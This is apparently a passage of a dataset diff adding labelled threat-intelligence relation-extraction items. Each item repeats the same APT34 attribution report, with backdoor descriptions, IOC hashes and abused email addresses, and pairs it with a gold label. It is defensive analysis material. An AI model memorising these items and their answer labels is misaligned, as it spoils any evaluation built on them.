+        "input": "### Source Entity:\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e\n### Target Entity: Win64.REDCAP.AF\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b\n### Target Entity: MSIL.REDCAP.A\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAPT34\n### Target Entity: Saitama\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAPT34\n### Target Entity: Karkoff\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAPT34\n### Target Entity: .Net\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\npsgfilter.dll\n### Target Entity: Win64.REDCAP.AF\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256  File name  Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b  DevicesSrv.exe  Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e  psgfilter.dll  Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nAPT34\n### Target Entity: .Net backdoor\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 